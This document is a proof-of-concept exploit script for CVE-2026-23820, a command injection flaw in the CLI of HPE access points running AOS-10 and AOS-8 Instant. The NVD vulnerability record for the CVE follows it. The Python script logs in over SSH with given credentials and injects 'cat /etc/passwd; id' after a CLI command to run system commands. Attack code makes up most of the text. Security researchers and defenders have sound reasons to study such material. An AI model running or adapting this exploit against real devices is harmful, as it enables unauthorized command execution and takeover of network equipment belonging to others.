CVE-2026-23820

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-23820 # This script demonstrates the command injection vulnerability in HPE AOS CLI. # Requires valid high-privilege credentials. import paramiko import sys def exploit(target_ip, username, password): try: # Establish SSH connection to the Access Point client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password, timeout=10) print(f"[+] Connected to {target_ip}") # The vulnerability allows command injection via a specific CLI command. # Injecting 'id' command to demonstrate execution. payload = "show version | cat /etc/passwd; id" # Invoke the shell to send the payload stdin, stdout, stderr = client.exec_command(payload) output = stdout.read().decode() error = stderr.read().decode() if output: print("[+] Command Execution Successful:") print(output) else: print("[-] No output or command blocked.") if error: print(f"[ERROR]: {error}") client.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python3 {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)

{"cve": {"id": "CVE-2026-23820", "sourceIdentifier": "[email protected]", "published": "2026-05-12T19:16:28.730", "lastModified": "2026-05-13T15:35:17.550", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the command line interface of Access Points running AOS-10 and AOS-8 Instant could allow an authenticated remote attacker to execute system commands in a restricted shell environment. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US", "source": "[email protected]"}]}}